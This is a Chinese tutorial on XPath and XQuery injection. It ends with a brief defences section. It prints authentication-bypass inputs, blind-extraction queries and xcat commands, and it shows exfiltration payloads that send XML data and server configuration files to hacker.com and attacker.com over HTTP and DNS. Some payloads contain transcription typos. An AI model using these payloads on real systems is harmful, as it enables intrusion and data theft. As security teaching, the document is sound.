XPath Hacking技術(shù)科普
簡(jiǎn)介
Xpath1.0是一種被很好支持和相當(dāng)老的在XML文檔中選擇節(jié)點(diǎn)并返回計(jì)算后的值的查詢語(yǔ)言。大量的編程語(yǔ)言,包括Java、C/C++、Python、C#、JavaScript、Perl等都擁有自購(gòu)豐富的庫(kù)支持Xpath1.0。
在一個(gè)單一的XML文檔中,使用Xpath1.0可以方便的查詢過(guò)濾節(jié)點(diǎn),舉例:
- <users>
- <user>
- <name>James Peter</name>
- <username>jtothep</username>
- <password>password123!</password>
- <admin>1</admin>
- </user>
- <user>
- <name>Chris Stevens</name>
- <username>ctothes</username>
- <password>reddit12</password>
- <admin>0</admin>
- </user>
- </users>
一個(gè)簡(jiǎn)單的Web應(yīng)用登錄表單
使用用戶名"jtothep"和密碼“password123!”輸入到表單中,后臺(tái)執(zhí)行的查詢語(yǔ)法如下:
/*[1]/user[username=”jtothep”and password=”password123!”]
返回的用戶節(jié)點(diǎn)
- <user>
- <name>James Peter</name>
- <username>jtothep</username>
- <password>password123!</password>
- <admin>1</admin>
- </user>
Xpath注入
如果程序沒(méi)有驗(yàn)證用戶查詢輸入,就會(huì)發(fā)生Xpath注入,攻擊者可以提交惡意的請(qǐng)求修改查詢語(yǔ)句,導(dǎo)致:事物邏輯和認(rèn)證繞過(guò),獲取后端XML數(shù)據(jù)庫(kù)內(nèi)容。
不像傳統(tǒng)的關(guān)系型數(shù)據(jù)庫(kù),可以對(duì)數(shù)據(jù)庫(kù)、表、行或者列執(zhí)行細(xì)粒度的訪問(wèn)控制,XML沒(méi)有用戶或者權(quán)限的概念。這意味著整個(gè)數(shù)據(jù)庫(kù)都可以被用戶讀取,在應(yīng)用中屬于很?chē)?yán)重的安全漏洞。
利用Xpath
繞過(guò)認(rèn)證
如果一個(gè)認(rèn)證過(guò)程是如下形式
/*[1]/user[username=”jtothep”and password=”password123!”]
攻擊者可以提交以下輸入
username: jtohep"or "1" ="1 password: anything
Xpath的查詢會(huì)變成
/*[1]/user[username=”jtothep"or "1"="1” and password=”anything”]
攻擊者可以以jtohep的用戶登錄并且繞過(guò)實(shí)際的密碼認(rèn)證,這是因?yàn)閄Path中的OR語(yǔ)法查詢導(dǎo)致條件一直為真,類(lèi)似SQL的and語(yǔ)法,Xpath的查詢語(yǔ)法為:
username="jtothep" or [TRUE AND False]
結(jié)果就是
username="jtothep" or FALSE
如果jtothep這個(gè)用戶被驗(yàn)證存在,攻擊者就可以使用這個(gè)用戶的身份登錄,在通常的實(shí)踐中使用加密形式的密碼保存在用戶表中,用戶輸入的密碼也要經(jīng)過(guò)加密計(jì)算再與用戶表中的哈希密碼進(jìn)行匹配。因此使用加密形式的密碼會(huì)較少的存在漏洞,使用加密查詢的語(yǔ)法如下:
'/*[1]/user[username=”'.$username. '” and password=”' .md5(password). '”]'
如果攻擊者不知道一個(gè)正確的用戶名,他仍可以繞過(guò)認(rèn)證
/*[1]/user[username=”non_existing"or "1"="1” or "1" ="1"and password=”5f4dcc3b5aa765d61d8327deb882cf99”]
執(zhí)行會(huì)顯示成如下的形式:
username="non_existing" or TRUE or [True AND False]
結(jié)果是:
username="non_existing" or TRUE or FALSE.
結(jié)果會(huì)以第一個(gè)節(jié)點(diǎn)的身份登錄系統(tǒng)。
提取后端數(shù)據(jù)庫(kù)
現(xiàn)在有2個(gè)版本的Xpath,1.0和2.0,Xpath2.0是1.0的超集,支持更廣的特征兼容很多復(fù)雜的數(shù)據(jù)類(lèi)型。同樣1.0存在的漏洞也能轉(zhuǎn)移到2.0中。
以一個(gè)圖書(shū)館查詢功能為例,查詢語(yǔ)法如下:
“/lib/book[title=' +TITLE + ']”.
XML數(shù)據(jù)如下:
- <lib>
- <book>
- <title>Bible</title>
- <description>Theword of god</description>
- </book>
- <book>
- <title>Da Vincicode</title>
- <description>Abook</description>
- </book>
- </lib>
如果知道圖書(shū)名字,可以注入以下內(nèi)容:
/lib/book[title=”Bible”and “1” = “1”] payload為 ”and “1” = “1 /lib/book[title=”Bible”and count(/*) = 1 and “1”=”1”]
如果所有的過(guò)濾條件為真這個(gè)查詢只返回為真,如果查詢成功“/*”只返回一個(gè)節(jié)點(diǎn),查詢不成功不會(huì)有顯示
Xpath1.0結(jié)構(gòu)定義了少量幾個(gè)可以在XML文檔中應(yīng)用的功能
- Count (NODESET) – 像是上面的舉例count() 返回節(jié)點(diǎn)集中子節(jié)點(diǎn)的數(shù)目
- String-length (STRING) –返回指定字符串的長(zhǎng)度,獲得一個(gè)節(jié)點(diǎn)名的長(zhǎng)度可以使用以下語(yǔ)法: string-length(/*[1]/*[1]/name())
- Substring (STRING, START,LENGTH) – 這個(gè)功能用來(lái)枚舉一個(gè)節(jié)點(diǎn)的文本值,我們可以使用substring匹配指定字符串與節(jié)點(diǎn)中的字符串,可以循環(huán)的通過(guò)實(shí)體字符表獲取所有字符的值。
使用基本語(yǔ)言設(shè)計(jì)和注入點(diǎn),可以做到以下
1.獲取節(jié)點(diǎn)的名字
2.計(jì)算節(jié)點(diǎn)的數(shù)量
3.對(duì)于每個(gè)節(jié)點(diǎn)
a.獲取名字
b.獲取值
4.獲取注釋節(jié)點(diǎn)的數(shù)量
5.對(duì)于每個(gè)注釋節(jié)點(diǎn)
a.獲取注釋值
6.計(jì)算子節(jié)點(diǎn)的數(shù)量
7.對(duì)于每個(gè)子節(jié)點(diǎn)
a.Go to step
8.獲取節(jié)點(diǎn)的文本內(nèi)容。
Xcat介紹
Xcat是python的命令行程序利用Xpath的注入漏洞在Web應(yīng)用中檢索XML文檔,支持Xpath1.0和2.0,使用舉例如下:
python xcat.py --true"Book Found" --arg="title=Bible" --method POST--quotecharacter=\" http://vulnhost.com:80/vuln.php
XPath 2.0 濫用
XPath獲得了W3C的推薦,相比1.0版本增加了很多特征。支持條件聲明,更多的功能和數(shù)據(jù)類(lèi)型,并且向后兼容。
檢測(cè)Xpath版本
探測(cè)Xpath版本非常簡(jiǎn)單,使用lower-case()功能將大寫(xiě)字符轉(zhuǎn)換成小寫(xiě)字符,然后跟小寫(xiě)字符進(jìn)行對(duì)比,如果結(jié)果為空,意味著沒(méi)有l(wèi)ower-case()函數(shù)定義,版本為1.0,另外的情況就是2.0版本。
/lib/book[title="Bible"and lower-case('A') = "a"]
探測(cè)系統(tǒng)和工作目錄
在Xpath2.0中base-uri()函數(shù)返回當(dāng)前文檔的全路徑。
file:///C:/Users/Admin/Documents/example_application/input.xml
可以精確檢測(cè)到文件系統(tǒng)中XML數(shù)據(jù)庫(kù)的位置。
縮小查詢密鑰空間
當(dāng)我們使用遠(yuǎn)程主機(jī)注入Xpath漏洞,我們可能一次只能獲取很少的信息,有很多方法可以是我們縮小查詢的范圍。首先我們使用匹配功能觀察能減少字符的數(shù)量,通過(guò)正則和一些文本返回真或假進(jìn)行判斷(大小寫(xiě)字符,數(shù)字或特殊符號(hào))
以下查詢查找第二本書(shū)名中是否含任何大寫(xiě)字符:
matches(/lib/book[2]/title/text(),"[A-Z]")
注意不同語(yǔ)言中正則表達(dá)式會(huì)有些不同
Unicode字符可以使用normalize-unicode功能可以減少查詢范圍,normalize-unicode規(guī)范化unicode字符“á”為“a” and “’”,ASCII字符,意味著可以提取出Unicode字符,類(lèi)似Ѭ字符不行。
codepoints特性
將字符轉(zhuǎn)換為整數(shù)
string-to-codepoints("abc")-> (97,98,99)
高級(jí)Xpath注入
基于錯(cuò)誤的提取
在一個(gè)條件查詢中提取運(yùn)行時(shí)間錯(cuò)誤,如果錯(cuò)誤展示給用戶(或者可以被發(fā)覺(jué)),可以在不輸入信息的狀態(tài)下提取信息。Xpath 2.0 定義看error()功能,允許開(kāi)發(fā)人員加注自定義的錯(cuò)誤信息,用法:
and (if (CONDITION)then error() else 0) and "1" = "1
顯示結(jié)果如下
XCat可利用這種攻擊方式
python main.py –-error "Exception"--arg="title=Anything" --methodPOST--quote_character=\" http://localhost:80
DOC功能濫用
XPath2.0推薦定義一個(gè)功能“DOC”,可以URI指向到外部XML文檔。可以存在本地或者遠(yuǎn)程HTTP服務(wù)器,稱(chēng)作Xpath庫(kù)中最好取得XML文檔和返回文檔根節(jié)點(diǎn)。
DOC不是默認(rèn)的功能,如果RUI不是鏈接到XML文件也會(huì)報(bào)錯(cuò)。
危害:
讀取包含敏感配置文件或XML數(shù)據(jù)庫(kù)的信息
Tomcat的用戶配置文件
/tomcat-users/user[@username='"+ username + "' and@password='" + password + "']
Xcat工具也有利用命令
pythonxcat.py –method POST –ary "username2=tomcat&password2=tomcat"–quotecharacter "'" –true "Authenticated as"–connectbackip localhost –connectbackport 80 –fileshell http://localhost:81/

帶外通道提取XML數(shù)據(jù)
HTTP
doc(concat("http://hacker.com/savedata.py?d=",XPATH_EXPRESSION))
DOC功能會(huì)使HTTP請(qǐng)求轉(zhuǎn)到攻擊者的服務(wù)器,在HTTP GET或POST請(qǐng)求中使用encode-for-uri可以格式化字符。
doc(concat("http://hacker.com/savedata.py?d=",encode-foruri(/lib/book[1]/title)))
這將會(huì)對(duì)任何的字符串?dāng)?shù)據(jù)產(chǎn)生一個(gè)有效的查詢,例如在示例里第一本書(shū)的名字。攻擊者可以通過(guò)迭代的方式獲取XML文件的內(nèi)容,發(fā)送到黑客指定的服務(wù)器上分析。
1.2.3.4 -[09/Feb/2012:07:04:36 +0300] "GET /savedata.py?d=BibleHTTP/1.1" 200301 "-" "-" 1.2.3.4 -[09/Feb/2012:07:04:37 +0300] "GET/savedata.py?d=Da%20Vinci%20codeHTTP/1.1" 200 301 "-""-"
Xcat支持通過(guò)HTTP請(qǐng)求檢索部分文檔,Xcat建立一個(gè)內(nèi)部的HTTP服務(wù)并監(jiān)聽(tīng)連接,追蹤節(jié)點(diǎn)內(nèi)容并重建XML文件。
python main.py –-error"Exception" --arg="title=Anything" --method POST--quote_character=\" -–connectback -–connectbackip X.X.X.X http://vulnhost.com:80
X.X.X.X是攻擊者可以控制的IP
DNS
在上面提及的方法中使用HTTP請(qǐng)求,存在許多限制條件,并不是每次攻擊都可以成功,例如目標(biāo)存在防火墻進(jìn)行限制。如果是這種情況,可以使用DNS查詢來(lái)傳輸數(shù)據(jù)。
攻擊者建立一個(gè)域名服務(wù)器。
doc(concact(/users/user[1]/username, “.hacker.com”))
服務(wù)器嘗試解析主機(jī)“jtothep.hacker.com”,引發(fā)DNS查詢并轉(zhuǎn)到攻擊者的域名服務(wù)器。
15:19:04.996744 IPX.X.X.X.38353 > Y.Y.Y.Y.53: 15310 A? jtothep.hacker.com.
使用DNS服務(wù)傳遞數(shù)據(jù)有幾個(gè)缺陷,數(shù)據(jù)限制在63-255個(gè)字符內(nèi),如果進(jìn)行分割的話,可能會(huì)導(dǎo)致數(shù)據(jù)丟失。
XQuery注入
維基中XQuery的定義
"XQuery is a queryand functional programming language that is designed to query collections ofXML data. It provides means to extract and manipulate data from XML documentsor any data source that can be viewed as XML. It uses XPath expressions syntaxto address specific parts of an XML document. It supplements this with aSQL-like "FLWOR expression" for performing joins. A FLWOR expressionis constructed from the five clauses after which it is named: FOR, LET, WHERE,ORDER BY, RETURN"
XQuery是XPath的超集,如果Xpath只是一個(gè)查詢語(yǔ)言,XQuery是一個(gè)程序語(yǔ)言,可以聲明自定義的功能、變量等等。類(lèi)似XPath注入,XQuery注入在沒(méi)有驗(yàn)證用戶輸入的情況下也會(huì)發(fā)生。
一個(gè)程序使用用戶名查詢博客實(shí)體,后端使用XQuery查詢XML數(shù)據(jù)。
未經(jīng)凈化的輸入可以導(dǎo)致整個(gè)XML文件泄露,節(jié)點(diǎn)名、字符串屬性和值可以通過(guò)HTTP方法循環(huán)遍歷獲取:
for $n in /*[1]/* let $x := for $att in $n/@* return(concat(name($att),"=",encode-for-uri($att))) let $y :=doc(concat("http://hacker.com/?name=", encode-for-uri(name($n)), "&data=", encode-for-uri($n/text()), "&attr_", string-join($x,"&attr_"))) for $c in $n/child::* let $x := for $att in $c/@* return(concat(name($c),"=",encode-for-uri($c))) let $y := doc(concat( "http://hacker.com/?child=1&name=", encode-for-uri(name($c)), "&data=", encode-for-uri($c/text()), "&attr_", string-join($x,"&attr_")))
上面語(yǔ)句只在Saxon XSLT解析器中執(zhí)行,eXist-db’s和 XMLPrime解析器不受影響。
繼續(xù)說(shuō)上面的查詢實(shí)例,用戶輸入admin,在后臺(tái)執(zhí)行的查詢?yōu)椋?/p>
- for $blogpost in//post[@author=’admin’]
- return
- <div>
- <hr />
- <h3>{$blogpost/title}</h3><br/>
- <em>{$blogpost/content}</em>
- <hr />
- </div>
如果用戶輸入admin'] let $x :=/*[' ,注入后的查詢結(jié)果為:
- for $blogpost in//post[@author=’admin’]
- let $x := /*[‘’]
- return
- <div>
- <hr />
- <h3>{$blogpost/title}</h3><br/>
- <em>{$blogpost/content}</em>
- <hr />
- </div>
攻擊者可以在let $x := /*[‘’]中插入任何想執(zhí)行語(yǔ)句都會(huì)在循環(huán)中執(zhí)行,它會(huì)
通過(guò)所有當(dāng)前執(zhí)行文件中的元素循環(huán)發(fā)出一個(gè)GET請(qǐng)求到攻擊者的服務(wù)器。
URL攻擊
http://vulnerablehost/viewposts?username=admin%27%5D%0Afor%20%24n %20in%20/%2A%5B1%5D/%2A%0A%09let%20%24x%20%3A%3D%20for%20%24att% 20in%20%24n/%40%2A%20return%20%28concat%28name%28%24att%29%2C%22 %3D%22%2Cencode-foruri%28%24att%29%29%29%0A%09let%20%24y%20%3A%3D %20doc%28concat%28%22http%3A//hacker.com/%3Fname%3D%22%2C%20encode -foruri%28name%28%24n%29%29%2C%20%22%26amp%3Bdata%3D%22%2C%20encode -foruri%28%24n/text%28%29%29%2C%22%26amp%3Battr_%22%2C%20stringjoin %28%24x%2C%22%26amp%3Battr_%22%29%29%29%0A%09%09%0A%09for%20%24c% 20in%20%24n/child%3A%3A%2A%0A%09%09let%20%24x%20%3A%3D%20for%20% 24att%20in%20%24c/%40%2A%20return%20%28concat%28name%28%24c%29%2C %22%3D%22%2Cencode-foruri%28%24c%29%29%29%0A%09%09let%20%24y%20% 3A%3D%20doc%28concat%28%22http%3A//hacker.com/%3Fchild%3D1%26amp %3Bname%3D%22%2Cencode-foruri%28name%28%24c%29%29%2C%22%26amp%3 Bdata%3D%22%2Cencode-for-uri%28%24c/text%28%29%29%2C%22%26amp%3 Battr_%22%2Cstringjoin%28%24x%2C%22%26amp%3Battr_%22%29%29%29 %0Alet%20%24x%20%3A%3D%20/%2A%5B%27
上面的方法會(huì)重復(fù)的對(duì)攻擊者的服務(wù)器發(fā)送請(qǐng)求,整個(gè)XML文檔可以通過(guò)分析攻擊者的服務(wù)器訪問(wèn)日志進(jìn)行獲取。
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 358"-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=Test&attr_ HTTP/1.1" 200 357"-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=My%20first%20blog%20post%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=My%20blog%20is%20now%20live%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=Welcome%20to%20my%20blog%21%20Please%20stay%20away%20hackers&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=Test&attr_ HTTP/1.1" 200 357"-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=My%20first%20blog%20post%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=My%20blog%20is%20now%20live%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=Welcome%20to%20my%20blog%21%20Please%20stay%20away%20hackers&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
通過(guò)分析拼接的XML為:
- <posts>
- <postauthorpostauthor="admin">
- <title>Test</title>
- <content>My firstblog post!</content>
- </post>
- <postauthorpostauthor="admin">
- <title>My blog isnow live!</title>
- <content>Welcometo my blog! Please stay away hackers</content>
- </post>
- </posts>
Exist-DB
Exist-DB是一個(gè)本地XML數(shù)據(jù)庫(kù),允許應(yīng)用程序使用不同的技術(shù)(XQuery 1.0, XPath 2.0,XSLT 1.0 和 2.0.)存儲(chǔ)、查詢和更新XML數(shù)據(jù)。區(qū)別于其他傳統(tǒng)的數(shù)據(jù)庫(kù)(定義自己的查詢協(xié)議),Exist-DB使用基于HTTP的接口進(jìn)行查詢,如REST, XML-RPC, WebDAV 和SOAP。
執(zhí)行一個(gè)GET請(qǐng)求,返回一個(gè)XML的節(jié)點(diǎn)。
還是之前用戶博客的查詢,假設(shè)現(xiàn)在使用的是Exist-DB,HTTP查詢請(qǐng)求如下
http://www.vulnhost.com/viewposts?username=admin
后臺(tái)XPath表達(dá)式
doc(concat(“http://localhost:8080/exist/rest/db/posts?_query=”,encode-for-uri(“//posts[@author=’admin’]”)) )//*
上面查詢//posts[@author=’admin’]會(huì)返回所有admin的文章,Exist-DB是一個(gè)成熟的數(shù)據(jù)庫(kù)并且在很好的支持XPath,如果username變量沒(méi)有進(jìn)行凈化,攻擊者可以獲取根節(jié)點(diǎn)的內(nèi)容:
http://www.vulnhost.com/viewposts?username='and doc(concat('http://hacker.com/?q=', encode-for-uri(name(doc('file:///home/exist/database/conf.xml')/*[1]))))or '1' = '1
這條語(yǔ)句會(huì)攜帶根節(jié)點(diǎn)發(fā)名字請(qǐng)求攻擊者的服務(wù)器
doc(concat("http://localhost:8080/exist/rest/db/posts?_query=",encode-for-uri("//posts[@author=''and doc(concat('http://hacker.com/?q=',encode-foruri(name(doc(‘file:///home/exist/database/conf.xml’)/*[1])))) or '1'= '1']")))/*[1]
攻擊者可以使用上面的技術(shù)獲得受害服務(wù)器的配置信息。
EXist-DB有一個(gè)可擴(kuò)展的模塊,它允許程序員用Java編寫(xiě)的模塊創(chuàng)建新的XPath/XQuery函數(shù)。通過(guò)讓郵件模塊或其他SMTP服務(wù)器,I/O文件系統(tǒng)發(fā)送電子郵件。以及支持多種HTTP方法,利用LDAP客戶端模塊,或在在OracleRDBMS執(zhí)行Oracle的PL/ SQL存儲(chǔ)過(guò)程等等。這些模塊功能強(qiáng)大,但通常這些模塊在默認(rèn)情況下是禁用的。
HTTP模塊很有趣,因?yàn)樗莾蓚€(gè)非常強(qiáng)大的,默認(rèn)情況下啟用。攻擊者可以簡(jiǎn)單地使用它來(lái)發(fā)送序列化根節(jié)點(diǎn)(整個(gè)文檔)到攻擊者的服務(wù)器,從而在一次操作中獲取整個(gè)數(shù)據(jù)庫(kù)。
http://www.vulnhost.com/viewposts?username='Httpclient:post(xs:anyURI(“http://attacker.com/”),/*, false(), ())or '1' = '1
在服務(wù)器后臺(tái)的查詢?nèi)缦?/p>
doc(concat("http://localhost:8080/exist/rest/db/posts?_query=",encode-for-uri("//posts[@author=’’Httpclient:post(xs:anyURI(“http://attacker.com/”),/*, false(), ()) or ‘1’ =‘1’]")))/*[1]
監(jiān)聽(tīng)的效果
可以通過(guò)DOC功能使HTTP客戶端發(fā)送任意的本地XML文件到攻擊者的服務(wù)器
Httpclient:get(xs:anyURI(“http://attacker.com/”),doc(‘file:///home/exist/database/conf.xml’), false(), ())
防御方法
凈化用戶輸入,fn:doc(),fn:collection(), xdmp:eval() and xdmp:value()這些函數(shù)需要特別注意
使用參數(shù)化的查詢,如Java的Xpath表達(dá)式
/root/element[@id=$ID]
限制doc()功能
作者
Thomas Forbes (xcat的作者)
Sumit Siddharth
參考
http://www.balisage.net/Proceedings/vol7/html/Vlist02/BalisageVol7-Vlist02.html
http://www.front2backdev.com/2011/12/19/xquery-injection-mea-culpa/
http://www.slideshare.net/robertosl81/xpath-injection-3547860
http://en.wikipedia.org/wiki/XPath
http://en.wikipedia.org/wiki/XQuery
https://github.com/orf/xcat